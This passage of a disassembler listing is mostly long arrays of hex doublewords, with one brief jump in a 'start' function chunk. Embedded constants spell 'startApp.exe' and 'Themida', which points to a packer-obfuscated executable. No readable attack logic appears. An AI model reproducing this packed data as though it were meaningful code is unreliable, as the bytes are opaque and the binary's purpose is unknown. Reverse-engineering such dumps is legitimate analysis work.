0B14D00F4h, 18CB7B50h, 7F1B05C9h, 85F54ACh, 7C832D14h dd 0C16BB07Ah, 85C44947h, 0F1FB4C1Fh, 0EA8BD039h, 10C4A9F1h dd 690A7700h, 9BB6B9DFh, 0C6C41E5Bh, 9E3DC02Bh, 0E4CB3C1h dd 597B6804h, 44E5B2B8h, 7F64213Bh, 0E42E009h, 50E078BCh dd 7B90851h, 2ED37059h, 0F9767323h, 8DEFC4C0h, 3A5F4D0Bh dd 2614C8B7h, 54911F5Bh, 589C80A9h, 8F3866DCh, 61414C07h dd 5BA0E07Fh, 0E869CFCDh, 8B5F1EB8h, 60AED3h, 0C2FF5910h dd 0B527F105h, 74AC6869h, 40A0BE08h, 306A8D06h, 907ABA25h dd 0FC0388F8h, 69C80489h, 5E3605D5h, 0B46D2A4Ah, 0D2133824h dd 66C68820h, 71AE26Eh, 0E43E27D8h, 1D13514Ch, 56ACC4E2h dd 0B8A7F4A0h, 31521B0Fh, 94705642h, 1280E561h, 0D2A63628h dd 0A0206084h, 3BC15Eh, 5D235772h, 0AC968BD8h, 0AB591203h dd 0E86D07D7h, 1B57533h, 50B95B18h, 30BBFD2Bh, 0F527E37Ch dd 80E0920Fh, 0AC4156E1h, 846603CEh, 0B5AD77A1h, 0CCDC40F2h dd 0EC22A845h, 0C3549049h, 0A14600B8h, 0DDC66F75h, 2898C712h dd 0F3D59E16h, 0DAD99422h, 57C600CCh, 7E91695Eh, 712DF8ECh dd 0DC5810CFh, 7CF4073Ah, 0D020E773h, 0A507C9E6h, 0C5FC531Eh dd 0FA04289Eh, 18A2A359h, 0B600CC22h, 0F6F2A7AAh, 0C40D848h dd 0D4A1DDC1h, 0E9093F0Ah, 72DA7039h, 13A600CCh, 0F714B288h dd 45A9DE6h, 6C4B5900h, 4CFCD249h, 0BF17326Eh, 7F3020F0h dd 0D8E79D11h, 0AB0FD7B3h, 6080E7A1h, 6CBD5442h, 0C8EF5AEDh dd 5F03D418h, 9589C427h, 0A080D5B4h, 96ECE7C9h, 9BCD833Ch dd 0F8A816BCh, 8703EB21h, 47B48D41h, 405087ADh, 99F0CA42h dd 0D5D80114h, 30164AE6h, 25E88F77h, 0C45EC3A2h, 2D872F80h dd 6BC1B93h, 48673219h, 0F92198B1h, 9A8300D2h, 3F11B6CBh dd 0B2B99700h, 93A33018h, 8A3940D2h, 73C45D00h, 0EB7606AFh dd 0CCB800A9h, 0C1A1E751h dd 0BC52597Ah, 0F53300E8h, 604DDFB3h, 0E4EB03EDh, 302F9A66h dd 62FA2103h, 983641EAh, 487E92E5h, 49CEACD1h, 0B52250E0h dd 60B86402h, 0A469FB28h, 754CBB05h, 34AC45F9h, 68171080h dd 3000F83Ch, 0F7842023h, 0C05AECDEh, 40AF0B21h, 0C70E3E82h dd 0C5C5E1E9h, 0DA033F27h, 0D00F9938h, 2CA9CF98h, 48E002h dd 845706F0h, 0D5278B85h, 0BBACA3EEh, 32A1C061h, 7410B51Ah dd 0C50031C6h, 9F038CA7h, 258E284h, 0B922EC36h, 34E06F3Ch dd 0ED130C81h, 0D8D0CBE7h, 5B53EDDh, 4C0B95E0h, 0C4584019h dd 0CB200310h, 77A3970Ch, 0E117C475h, 950E8BECh, 6C483C10h dd 859AE824h, 5803342Ah, 2B288451h, 58694CCEh, 35B212h dd 922362F8h, 7701BA61h, 0C72D465Ah, 303FD9AAh, 0F79828FCh dd 0F820134Fh, 9DD5415h, 3D2F5AFBh, 4F80C68h, 7BC9BB0Fh dd 0D5CADC0Ah, 2F0B240Ch, 1AC9A2Bh, 0F2AACDE0h, 79515C40h dd 5E633CFDh, 0A4A01D82h, 0E041ADFEh, 0E87A10BDh, 0CCA117F4h dd 0FEA0883Bh, 0D7018677h, 35065928h, 94784A73h, 6BE93080h dd 6201B6ADh, 273246ECh, 8C4E75Ch, 0B965000Dh, 0F6D1964h dd 9A5A18E8h, 870E5CC0h, 0E9360342h, 0C84BFBB4h, 6C63B000h dd 6CBDF48h, 0C2250F0Ah, 7A00ED65h, 64A15E0Eh, 330F2E07h dd 0CAC26B1Ah, 3F1C401Ch, 68571CFBh, 55BDD67h, 8C9C0312h dd 5D01B9C4h, 8F67392Dh, 7FDD6F9Fh, 48C6D1C3h, 0ECFC203Ah dd 0C009815h, 9D62E11Eh, 12FA76Dh, 0A107087Fh, 6032ED1Bh dd 2C134268h, 0F6FF96h, 11C40C24h, 0D61A0BACh, 859090D9h dd 0B07B4CAAh, 5C1C1717h, 3A1900F0h, 699CDCA9h, 0A2097900h dd 802BBE57h, 3E9F06Ch, 36895E99h, 492FAD59h, 0D07C9338h dd 248C780Dh, 113CBCFBh, 0F4D612C2h, 7E589C22h, 7F803D30h dd 574C7AA5h, 0B84AEC04h, 0DEFFEFC3h, 0B1E01920h, 129FC0B5h dd 8020D6D2h, 0D466ACC9h, 74015539h, 43756F63h, 70F01642h dd 98A95BEDh, 180E5BC4h, 601433AAh, 0A7509FCh, 51BB0FF6h dd 55A93D15h, 0C9587446h, 1FDAC0A4h, 239001h, 132D765Eh dd 4A8A3558h, 50782C01h, 4FA90585h, 9A026472h, 0F3D6E16Ah dd 0BC411454h, 0E860C991h, 388609CBh, 38001E2Ch, 0B40BE663h dd 8E06C60Eh, 0C4780B03h, 0BE9A00FCh, 2AB1BC2Dh, 5C011241h dd 30195A71h, 142854A9h, 0B21AE384h, 85130098h, 983E453Dh dd 41670B5Dh, 4E80C435h, 363C0D7Eh, 4739FE04h, 0C4F142E9h dd 8394273Ah, 0E4D82E87h, 9700A85Ch, 0D8288246h, 26E0B88h dd 5F3D0841h, 9454362Fh, 1C33EA60h, 0B3CD009Ah, 0AB634788h dd 0F0C7B40Fh, 0A9A141E1h, 14706905h, 0BB591002h, 744C84AEh dd 4E2C3053h, 9F4A7946h, 0F1DC6ECh, 0B0FFD258h, 1103B588h dd 69C370A1h, 0ED99C8AFh, 7B1B25E9h, 0BB0014E4h, 0C4E79B68h dd 0F256A33Dh, 91300928h, 2C006BADh, 0C2970DDBh, 0D6194104h dd 0C4CCECA1h, 0FC1AC067h, 565781B0h, 0F750407h, 0C1307AA0h dd 286A77Dh, 9A7B1A30h, 0C15669h, 0EAB834E1h, 0F175F0E5h dd 358F38B9h, 29790019h, 97CE5FEFh, 0F64FBC20h, 4D009DAAh dd 1E74E07Dh, 1EEC8034h, 33AA12Ah, 670E28CCh, 0D9F0B00Bh dd 0D1D009C8h, 2259004Ch, 2AF1266Bh, 0B49E3600h, 4304EB86h dd 1C640EC2h, 0AC81FD91h, 238A742h, 4C599Fh, 0D9741E34h dd 794E4F44h, 0AE006CA8h, 8F95BDBCh, 920043CFh, 0EB69A2FDh dd 530CFEh, 25D1ED9Ch, 36573151h, 26C70300h, 28183DA9h dd 7020952Fh, 0E1EFE801h, 0E020B74Ah, 3D8FF6Dh, 7DE9E272h dd 8FA0A048h, 0A8006E33h, 0A4FEDF3Fh, 231EDDCh, 0FFECFCE0h dd 0A07E55EFh, 8406F109h, 0C0E6ABC5h, 0C30ACB03h, 0C8A4D522h dd 6A00BB68h, 3D973304h, 0C9D86Ch, 0F7ED898Eh, 0AE596587h dd 68E018B7h, 80D8BCD9h, 1FE68C99h, 0F901B19Dh, 43FA4505h dd 1720DFBFh, 207A4F28h, 1BD2A194h, 0D80A9E05h, 0C08C62F1h dd 9B190072h, 0E033E415h, 6824E9E5h, 4F616C8Eh, 46D4E883h dd 0FD172C23h, 6A69830Ch, 0BBE962F3h, 0FBA820CAh, 6B7852E2h dd 1B44FC04h, 2888CE53h, 0E44209FFh, 0D464C998h, 99FAD873h dd 253B13Eh, 56A23AF3h, 0A851B2h, 22F5395Eh, 959C5Dh, 0B4D467A8h dd 0FD51664h, 0D1D43212h, 0B8592Bh, 85C08FBFh, 1A14BA4Ah dd 0C09C4252h, 0DE0BD3F2h, 0E06008Ch, 2F7976B1h, 272A9C9Ah dd 0E574402Ah, 4668C402h, 7669C287h, 0B2450430h, 0E574E1F2h dd 0BA59116Dh, 25EB42Dh, 0F363D674h, 3040045Ch, 2E382EAh dd 50C85A32h, 0F876352Fh, 3BE2E06Fh, 0FC7FB248h, 0CE582797h dd 79D634A0h, 190005F7h, 9740C0Eh, 7D257D9Dh, 5CF2144Ah dd 71C0E87Bh, 0BB8DA1E7h, 0FF133300h, 0A2837FC1h, 0A5B430B8h dd 0A8055758h, 7A530205h, 58B5B059h, 0ED877820h, 1B007439h dd 0E76A4098h, 4F4CE97Bh, 0F649171Ch, 41BAD000h, 0E24205ACh dd 0BD020179h, 5CAACAA1h, 0EC5ED606h, 590A1826h, 3D8730B7h dd 0B03828B5h, 0E8431F9h, 1664039Dh, 9B7CE834h, 80754E72h dd 33E33D68h, 0C0CD6701h, 2DF30462h, 16E43030h, 0A29AC780h dd 0CE057B0Ch, 93B59DB1h, 50050BCh, 6C4B434h, 0ADFEA27Fh dd 0D0E8D828h, 0AB2D417h, 82232C08h, 0F1D575BBh, 0AC67D890h dd 0E8B4119Dh, 867C206Bh, 0D100F198h, 0BBB99FCDh, 389585D4h dd 6F843311h, 0ECD90B4Fh, 0FD0E0270h, 791B2841h, 196800D8h dd 11D6914Ch, 9F0043F8h, 569807F2h, 0B83F37B8h, 0BD040034h dd 48DCB2B4h, 0A505A940h, 4FAAC085h, 0EA2AF8EDh, 6086027Ch dd 9CD81345h, 95033846h, 3A250E7Dh, 427AF8F8h, 90494AACh dd 9CBBA054h, 0B5223098h, 0F12C3CB3h, 1408B828h, 9006AAC7h dd 317BCAC7h, 73D553C6h, 7F5600C8h, 62B8C7D0h, 919F7D65h dd 0DCAD0020h, 1AB4FEC5h, 0E0D01417h, 73CEDC1Dh, 0E98958E3h dd 79F0167h, 1D2C1317h, 7E48F03Dh, 34C0AE4Bh, 0EFD3A050h dd 65F870h, 197449DFh, 0E953249Ah, 90403BF7h, 7EABF2A3h dd 0B45D2C6Ah, 53B0031h, 575F04CDh, 0DCF93304h, 50A543A9h dd 3982746Ch, 80DD0C8Dh, 52E3613Ah, 5433EB3Fh, 714B2B00h dd 0E5B39F98h, 83048175h, 2C2F58FCh, 0EE2114A2h, 0FC1E6601h dd 566EBC59h, 4F188834h, 18124400h, 0F0CFD202h, 539F0541h dd 0B28B2C3Ah, 0C007C4Ch, 4230D0F3h, 8E8A6h, 0E60D07B0h dd 759C4D52h, 7461EA12h, 28E2C000h, 73BBE481h, 47C09480h dd 0ECF1B083h, 31E5377h, 0E707FD7Ch, 0AF20694Ah, 0BE60AFEh dd 0A3596084h, 0C013C451h, 27A6088h, 71D499F2h, 64CED524h dd 0BD8F348h, 7994C99Ah, 0FE100E4h, 0A1DEDDB1h, 4B3F900h dd 843B56C3h, 0C5826CCh, 287161Ch, 94FA0DC4h, 610458F4h dd 64E8D560h, 5154C981h, 801C7C34h, 42B48D1Bh, 0FF4D5C2Bh dd 59102804h, 970E9A2h, 0F8EF7BEAh, 69D7CA0h, 0D3B92DC3h dd 0AF1260FEh, 6431D541h, 0B82C65F1h, 22E7CF80h, 0ED002F96h dd 0B590FF8Ch, 1E14DBCh, 88C75763h, 50C82C28h, 0A14552E0h dd 8C27C404h, 8CFC53C0h, 0F0462287h, 622F1B58h, 0BC02AF78h dd 0A15901C9h, 0D23802E6h, 71806854h, 6F5D1774h, 458F3FC8h dd 0BA6B1C00h, 0CEAC69Ch, 501F4F0Eh, 89B649AAh, 0E1E082C0h dd 0E8B4C025h, 80E55035h, 48C788B3h, 9BFF841Ch, 36561100h dd 2DB1C612h, 0C49055ACh, 0A40106E2h, 17796366h, 406728E5h dd 8B4BD109h, 0B5439CA4h, 9D547C24h, 84EE86C0h, 595DD159h dd 32009425h dd 0EC640672h, 5A4B4189h, 4DA20421h, 1FD86FCh, 3D2D6311h dd 600F7B71h, 1C7BB44Bh, 0F3E839h, 9F028157h, 7850248Ch dd 16BC3ABFh, 0EA8DC880h, 0C6CAFC0Fh, 0BB6FED01h, 0EF9D99EBh dd 3A204CCh, 0CB66BE6Ch, 0E3FA5B12h, 4881E0D1h, 74466991h dd 44FB8840h, 0C0A6A7h, 0EA73D5A4h, 85BB9408h, 4AF01D09h dd 36220088h, 2863BCE1h, 1C8CDB3Ah, 560440C8h, 6B484952h dd 78DC2882h, 0C42084E0h, 0E0C9435Eh, 0B7601240h, 4D2D00F6h dd 0B1738C37h, 3B395FC7h, 9F589EFBh, 200C6C57h, 5EB60E0h dd 2887C91Ch, 31C86029h, 0F9E86521h, 5100427Fh, 0B84DBB07h dd 9EE25D26h, 906580DCh, 121142C9h, 59D65209h, 4E247AADh dd 107040D2h, 8460E3BFh, 0CE69FD08h, 0AABD80D9h, 70895B6Ch dd 0CFCA7D00h, 9D96A182h, 3BFB3DD9h, 0CDBBC280h, 0B0854C3Eh dd 50C8984Fh, 0F124E050h, 326EF4h, 45EAF6D8h, 0EC820628h dd 0C3018705h, 9800577Ah, 351D9004h, 0B4EA1CCBh, 0E8DF006Ch dd 0A2EFD527h, 162A603Ch, 0EC02A7B6h, 781595D0h, 74F050B8h dd 0B1A3006Fh, 90EA5A98h, 8412ECEBh, 0D4A22E17h, 83269300h dd 51BF4248h, 81EC0D3Bh, 0EF31C408h, 0ED431B4Eh, 0A9D2F002h dd 598A614Dh, 6878FF59h, 99F38014h, 3F2E1DD2h, 4B09D1A2h dd 0AC983EB3h, 700082A4h, 0DFA80AC0h, 7CA6472h, 6BBBF8A3h dd 58957253h, 51037C51h, 0F540C973h, 5F78F0h, 9A1C4270h dd 7B196987h, 0EA8D252h, 0C39185CEh, 887E3739h, 9C8236h dd 0E5AE0D7Fh, 6C2A154Ah, 805E553Eh, 0F22C81EAh, 5886EFB2h dd 0F31CCC40h, 0EE0A8408h, 0EC14C2E6h, 7838E863h, 8496A463h dd 46261800h, 0CB8F51ACh, 9CC09ED1h, 1A07EB88h, 5380675Bh dd 0AC225040h, 3D081C71h, 0A2C04051h, 0A105E6C9h, 5E39E205h dd 0A0A8C3BBh, 519B1C80h, 8628F76Eh, 0DC00E4B5h, 0B4E7F6CAh dd 16D32BFh, 0B30205BBh, 634526E3h, 71EC0034h, 0AE6FD921h dd 0B65927C6h, 0F9E8FCE9h, 4108116Eh, 0D2D7F0h, 60672EE1h dd 0E89707C6h, 180933E8h, 56A09448h, 60C42E78h, 0E28D6632h dd 3495E0A4h, 2672F4E4h, 1940A5Ah, 58A77B9Ch, 48D8E632h dd 0B9281A0Ah, 0CC00A814h, 53C4A6BEh, 5F827F38h, 72008805h dd 0D9B7A900h, 9C1A37CAh, 44989FEFh, 7D07B807h, 0F612A002h dd 8EB97737h, 3832F73Fh, 0FD51C0CFh, 92630128h, 8BADD569h dd 99A1F45Ch, 0E042D924h, 0E5AF8C60h, 0D81700A5h, 1FDD13E9h dd 0BE70EF02h, 80C4543Dh, 6DCAA283h, 4BB3CE7Bh, 355840E2h dd 0ECADD74Dh, 9B7CDF1Eh, 9CF75340h, 17C7D90Fh, 0B431002h dd 0E8986930h, 0DD0017D7h, 3D32030Eh, 3E62FE5Ch, 18703447h dd 29ABD998h, 0B007204h, 0E982546Fh, 130A30B7h, 0B2B851Ch dd 3C46F47Ch, 8432D825h, 0DCAC670Ch, 16C50AC0h, 0C2000F93h dd 480DB96Ah, 0BB74419h, 0FE247547h, 52761401h, 63884C41h dd 0DCCA6F00h, 5A86A271h, 89AC01F5h, 0DFAAEEE9h, 858EEC06h dd 5DC7EA02h, 0F622110Bh, 0DEE30560h, 1CF409EDh, 0B85BF480h dd 664FF4CFh, 0E850D023h, 671ACEh, 3F74B91Eh, 0B8C028A9h dd 0E14740h, 2FC2461Bh, 0F8EC1281h, 0C0D8E327h, 1221853Ch dd 0A893C152h, 7D5B01B8h, 54438A8Bh, 0D4ED8082h, 6472D14Fh dd 720082B0h, 0F6DD6AFFh, 9CC1F379h, 43194060h, 9502F7E9h dd 0C5DEFEFCh, 0D7A660B3h, 5EDD17CEh, 6FC4881Eh, 9D85FB3Dh dd 7A032E8Eh, 0D89F6E58h, 956A21h, 0D3C20A8Ch, 0A9DC7BC1h dd 448A555Bh, 0FDCD3A00h, 17781956h, 0F18B3100h, 0A4AEF02Ah dd 7CAA010Ch, 0BBDD5105h, 0D4844072h, 68918088h, 645E4D8Eh dd 95C16901h, 36F8E854h, 0AC6C3BFDh, 0E87182B5h, 69C09D68h dd 83BB3EA6h, 0DDB00032h, 0CC9FDF23h, 970248A5h, 0E9927620h dd 0E90716Ch, 0BBC023D1h, 0B19980B7h, 31B61200h, 58D76287h dd 88FE4A2Bh, 0D500AFC4h, 5A51E09Eh, 0B93803h, 6D27941Ah dd 3FD23149h, 64BE8325h, 88F900CCh, 0E87B39F1h, 7402B684h dd 30EA3438h, 1D24513Ah, 663740E2h, 0D7BB4633h, 0C6DF700h dd 0E13ADD2Eh, 67430490h, 0B410D6E4h, 0F3F8609Ch, 4AF70F02h dd 603C058Eh, 0B587F638h, 83C64890h, 13AD8D00h, 0BE0C2F1h dd 0EC695C3Ch, 0E6957222h, 122C3CA8h, 0E825B525h, 3324C0EDh dd 0C2129105h, 98A870BAh, 2A0EF68Bh, 0D880880Eh, 0A99005A5h dd 2C855428h, 51CA8709h, 75009A4Ch, 0E4367838h, 0D08BA100h dd 0F0E70FACh, 75332869h, 0A213F7ECh, 121AAFA0h, 0F5DEB804h dd 54C0B65Dh, 4A285736h, 353021F8h, 0CD23CCD6h, 0DE07DC00h dd 9CE0922Fh, 7E5FA03h, 0E37A157Bh, 0A13DC2F8h, 0A29A90A5h dd 0FB2300D8h, 6A895FE7h, 3B8C00BFh, 0ECF8D04Eh, 0EF0014A8h dd 0E95344A6h, 9448AC64h, 0D0055070h, 781CD900h, 71176169h dd 387DF251h, 8C0558F9h, 0C2C0842Ah, 0A920BDB0h, 2E404C05h dd 13D8687Fh, 8090AC02h, 2A5DB049h, 0E5EA1F39h, 0CB754042h dd 8A416D7Fh, 69A0FB00h, 7A5AD2BCh, 0A1D61211h, 0FACF8CCh dd 7D5A732h, 0BF8051C0h, 27FF5C96h, 0C8D9EAh, 0E800C3B9h dd 0B2819FEFh, 1756BDD3h, 27D148CBh, 0AB0220F8h, 0E6819D29h dd 6030303Ah, 0A4005156h, 0A879BA1h, 55BA8D5h, 0A98C2B41h dd 0D094D1E7h, 0BAE080ECh, 0AB23BC60h, 66141F3Dh, 0D195010Fh dd 62CB125Eh, 6BE31C6Ch, 2C1B9CBEh, 2BD5E280h, 2C974321h dd 0C1C8B859h, 201B9DB5h, 680CC14Ch, 688F7C0Ah, 7C78DF17h dd 0D2D1470Ch, 20032659h, 0DF7A0677h, 3255986Ch, 6D192DCAh dd 673DC000h, 9C943828h, 5C1F9492h, 0AE0861DDh, 1B3583B4h dd 30003176h, 3674A14Ch, 1B2379Fh, 8477665Ah, 30E5D8ADh dd 9A888A80h, 93410085h, 0C668FF59h, 7104B8A0h, 2856C2F5h dd 6D1803BFh, 3DBA7867h, 0E287B4D9h, 9AF01535h, 0BDDAC68h dd 9DBFB856h, 42049C7Ah, 5F9F1B28h, 1DF820AEh, 0CE00DC80h dd 23D7824h, 39D684F2h, 4AE3C82h, 0F4120431h, 3F52C1E0h dd 8C272E1Eh, 7861807Fh, 34E0495h, 0C13DFD7Fh, 211356F0h dd 68AC0824h, 720564ACh, 0C45723F3h, 0F8E1F8C0h, 0FFE70C21h dd 8BB8583Bh, 0F66F4902h, 0C657A930h, 25E800D4h, 812887C7h dd 0FF13ECC0h, 0B83052B5h, 0E209982Bh, 54E8DDh, 31E181A7h dd 92E3C9D4h, 55482109h, 28F1B7h, 1A35CFA8h, 0A0B0BD2Ah dd 2391A4B6h, 814BD24Ch, 5FE368C4h, 1A5B1284h, 4105F800h dd 3D16CA2h, 0D6E7EF7Bh, 511329F2h, 0C95352Fh, 408E030h dd 833B0099h, 2712248Fh, 9F2CF46h, 0F40F5490h, 857ACDACh dd 0DC8D4168h, 1FC2F6F8h, 1CF9481h, 3ED8BF77h, 0D4782125h dd 0EF3C5E54h, 60CCCF28h, 1580031h, 0CB33BA86h, 0A03D735h dd 25C49FD2h, 0D92FA27Bh, 0EA660A98h, 0F4D60B80h, 560FCCF1h dd 54A217D5h, 0C34A0D80h, 520051DEh, 0CBBB675Eh, 5D1B16E3h dd 0FE802865h, 0EFA8BA95h, 0F6818800h, 0EA3DA32Dh, 0EE512CB9h dd 6D490838h, 7A2891BDh, 0D2A4005Fh, 0FF240B53h, 123DC709h dd 314D129h, 2770E179h, 0DB2DF8E8h, 5861E7h, 315B1A50h dd 17D041F3h, 72CC3042h, 0A1C188h, 0F9B839C8h, 8AEA60AEh dd 891AC039h, 0F80C3537h, 0F4F11774h, 2688F606h, 59091BFFh dd 1E479A2h, 2BEEC609h, 0CDE82095h, 0D349AA13h, 843C08h dd 35BEED0Dh, 600964CBh, 54EC2882h, 36A140A8h, 19004B73h dd 571EB4D1h, 1C8DE8BDh, 8F9FC2F8h, 88171D35h, 234CB89Ch dd 0E5AC0194h, 43A9182Ch dd 0B0E4217Fh, 0E08A3BB7h, 0EFEE0A0Bh, 363D2844h, 0C0C580B7h dd 0E9408EDCh, 0B6A47229h, 50F547F0h, 486A5643h, 5E4FBEF6h dd 2E18C8h, 0A3768F79h, 0B5DB334h, 5C58EC24h, 1C889C00h dd 4B89F66h, 28E72677h, 8461BB32h, 0A0304B01h, 68B8BFA9h dd 780163DEh, 0E994C92Ah, 41CC65E4h, 47F20328h, 6058BE50h dd 2020AFC4h, 1DDACA5Bh, 4156E322h, 539CA049h, 0E0AE2057h dd 0D89A1C28h, 0E9477007h, 0C30D2A2h, 1511760h, 0A3D5A150h dd 3B498AE4h, 246BA080h, 0AC5227DEh, 0FD0164D9h, 0EC668942h dd 9030DDE4h, 88C8FA50h, 0C7B88451h, 0E495697Ch, 927100h dd 7765DE9Eh, 0E21075EBh, 7C6C8500h, 9B63256Dh, 38469772h dd 23697904h, 90BCF1BCh, 0A7B2602h, 0FC590DE2h, 3A89B900h dd 473DC78h, 0E9ED7B47h, 63AE20CBh, 7B57FE68h, 94E5005Fh dd 55C8B0B5h, 0E00C449h, 6BA1733Fh, 0FA075AC1h, 0B7F5B8D5h dd 9CF87C10h, 0A22D8001h, 7BE2360Ch, 57000423h, 71F5F2A4h dd 820BE988h, 0D802812Fh, 0AEA003Ch, 8C3E5FC2h, 555FD0B8h dd 99674420h, 68B51CD3h, 0AD858746h, 0C1EEF5ABh, 20EF4550h dd 90445AFCh, 0B9321CEDh, 3F6AC02Ch, 0C0B42E0Bh, 4697AA7Ch dd 37183E04h, 74D0CE11h, 0A832A500h, 0F2733D76h, 529E12BBh dd 9AE8A005h, 0B0959830h, 0B9B459C4h, 48824ACh, 0F9CE4807h dd 0C20079E4h, 0DC1B1CC3h, 74E466F1h, 6CFA9Ah, 44198247h dd 3A75A165h, 0CA0BB074h, 0C250CFh, 72E90F0Fh, 529A12A7h dd 8444E4CEh, 625DAF00h, 46E898B8h, 0E9FE1789h, 8FCF008Dh dd 0A3F2367Eh, 2C61E024h, 0ED022D05h, 0C204D0C0h, 147A02F1h dd 5BD2A118h, 1CB93840h, 0C809E5Eh, 5CF4604Fh, 9C122A44h dd 0C004ECBFh, 80CFAEF6h, 0AA130064h, 1260A11h, 0D62C1BCAh dd 684080EEh, 27E33BBCh, 0E4E0EA4Fh, 1200BFC1h, 0A1AAC3BBh dd 0B1888DD1h, 6DB380B0h, 0BCC0E333h, 80059339h, 359C2F0Fh dd 75191Ch, 0EAB67942h, 0EB07D5BBh, 0F039E628h, 7F573Dh dd 73BC56F8h, 5EAC51E3h, 0F818534Ch, 18E2C958h, 7A1D474h dd 7B84BC4Dh, 2868D92Dh, 863AA3C6h, 0E3D18275h, 66D4FF6Ch dd 0A28C031Ch, 183C883Bh, 0C262EAA0h, 0C0903090h, 0F8E35300h dd 0CA286BE7h, 9AA1029Fh, 0E9B2D745h, 0C9A2EC40h, 0B4B88778h dd 702CDF45h, 0C404B981h, 2C86FCC5h, 0A69EEA00h, 6788B689h dd 0ED1C1230h, 6EC430E0h, 4300E2B0h, 0EA50DFA5h, 0B4C84Bh dd 0F70F80C3h, 2F1C7253h, 3152ED04h, 6488D164h, 924301A8h dd 0E04BC1E7h, 4EEBC735h, 3BEDD5D1h, 7F931032h, 2E4F5410h dd 865BEE1Fh, 69708479h, 10F86522h, 184009D3h, 0B6C83498h dd 0E8F13A17h, 0E53E0501h, 1C2804B2h, 1F8C1A05h, 0B320827Bh dd 9CEA3520h, 166D01B8h, 0F1FBCA04h, 98431072h, 4FC2007Ch dd 9EEB4514h, 5409A5A2h, 7108AA64h, 93C50394h, 0E098308Eh dd 4407ED33h, 0F84604Dh, 99B7B9F0h, 4068B667h, 6D50E863h dd 8448ECF4h, 2078445Ch, 0AB0A1EB0h, 1CC2529h, 6CFFFF5Fh dd 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53EBA5: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_541EC6 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0FF540000h, 12h, 2 dup(0) dd 8F7A0000h, 5Ah, 0 dd 0E3D70000h, 5D8FF4Bh, 77E8h, 73160000h, 0A2h, 87F20000h dd 77EBh, 3 dup(0) dd 15680000h, 0A1h, 5 dup(0) dd 0FD6E0000h, 0FFFFh, 0 dd 0F1170000h, 0FFFFh, 1BD10000h, 7934h, 0 dd 7CA20000h, 57h, 800000h, 2 dup(0) dd 438C0000h, 3C6h, 2 dup(0) dd 0FFE00000h, 82550012h, 58h, 0Eh dup(0) dd 90610000h, 3C0B0057h, 0Bh dup(0) dd 60000h, 7FE10000h, 58h, 0 dd 0E700000h, 0BF190202h, 739Dh, 5 dup(0) dd 8590000h, 0FFABh, 7CFF50h, 2 dup(0) dd 0EE90000h, 20000h, 49B8FFFFh, 59h, 5 dup(0) dd 0FCFC0000h, 8001h, 0 dd 69E0000h, 0B9F40054h, 0B1680056h, 9Fh, 0 dd 65520000h, 72617473h, 70704174h, 6578652Eh, 2 dup(0) dd 6BD80000h, 0 dd 0A00F0000h, 0A0h, 5 dup(0) dd 93930000h, 0A0h, 0 dd 69E0000h, 54h, 0 dd 6DE60000h, 0FAC8h, 4 dup(0) dd 7FD80000h, 0A2h, 2 dup(0) dd 0B1CA0000h, 85BB00AEh, 4E42h, 4 dup(0) dd 19A60000h, 5Bh, 0 dd 0AC0000h, 2 dup(0) dd 0E58B0000h, 0CFFFFh, 0B830241h, 33F0059h, 59h, 24h dup(0) dd 10000h, 5 dup(0) dd 0FFDD0000h, 0FFA8h, 3 dup(0) dd 0CEF70000h, 59h, 0FF540000h, 0EBB2h, 0D4300000h, 314F2DFDh dd 5E2E005Ah, 5FF000A0h, 24h, 3 dup(0) dd 6E0000h, 5Ah, 4 dup(0) dd 40000h, 904F0000h, 57h, 7 dup(0) dd 6BD80000h, 0 dd 0E4310000h, 0F4CAh, 6 dup(0) dd 155C0000h, 0A1h, 5 dup(0) dd 0FF540000h, 30DF0012h, 0A9C5h, 2 dup(0) dd 7860000h, 28Ah, 3 dup(0) dd 0C553h, 2 dup(0) dd 0DAA0000h, 54h, 4 dup(0) dd 8B820000h, 0E4D577E7h, 0A627880Ah, 30445D6h, 7FFEh dd 4 dup(0) dd 915B0000h, 0A37C00A0h, 0FFFFh, 0AC00000h, 89312A4Ah dd 0A0377864h, 0FBF500A0h, 0A144005Fh, 77E7h, 6 dup(0) dd 0A40000h, 0FFEDh, 0Ah dup(0) dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 12h dup(0) dd 417A0000h, 77E8h, 5 dup(0) dd 15640000h, 0A1h, 7 dup(0) dd 0DF7C0000h, 54A9h, 4 dup(0) dd 940000h, 3 dup(0) dd 16F60000h, 0EDC60591h, 0CD980057h, 0A411h, 7 dup(0) dd 0FF540000h, 0B5E20012h, 8A0Fh, 0D1480000h, 63h, 0DFC60000h dd 0F3F0AD60h, 9833FFFFh, 0FDFFh, 2 dup(0) dd 14340000h, 4 dup(0) dd 0E0000000h, 4Dh, 3 dup(0) dd 15640000h, 6DE600A1h, 0FAC8h, 0 dd 140000h, 0Eh, 0A24F0000h, 77E7h, 7 dup(0) dd 8E2B0000h, 5Ah, 5 dup(0) dd 8EB0000h, 2195h, 6BD80000h, 8 dup(0) dd 96230000h, 0EA75FF5Fh, 32A1h, 0 dd 0F9620000h, 69EFFABh, 54h, 2 dup(0) dd 56430000h, 0 dd 76CD0000h, 77E7h, 2 dup(0) dd 68540000h, 64696D65h, 61h, 1Eh dup(0) dd 0C7A80000h, 7963D62Bh, 77E7h, 0 dd 8D530000h, 0A4h, 5 dup(0) dd 0E59D0000h, 3BD9h, 3C0B0000h, 212D0000h, 230058h, 2B0000h dd 5 dup(0) dd 8EFF0000h, 0FFFFh, 5CE90000h, 0EA7F0001h, 36D4h, 2 dup(0) dd 8C0A0000h, 0A0h, 3 dup(0) dd 1B060000h, 57h, 0 dd 6BD80000h, 0Ah dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 3C0B0000h, 0 dd 13E80000h, 6 dup(0) dd 69D00000h, 0AFh, 0Eh dup(0) dd 77E6h, 8 dup(0) dd 30DF0000h, 0A099A9C5h, 77E7h, 76B4h, 0 dd 77E6h, 0A1FE0000h, 0B0h, 3 dup(0) dd 0D0000000h, 0Dh, 2 dup(0) dd 9Fh, 3 dup(0) dd 0A00F0000h, 0A0h, 5 dup(0) dd 0ED4F0000h, 0CDh, 2 dup(0) dd 0A00F0000h, 0A0h, 0 dd 20000h, 3 dup(0) dd 5ECC0000h, 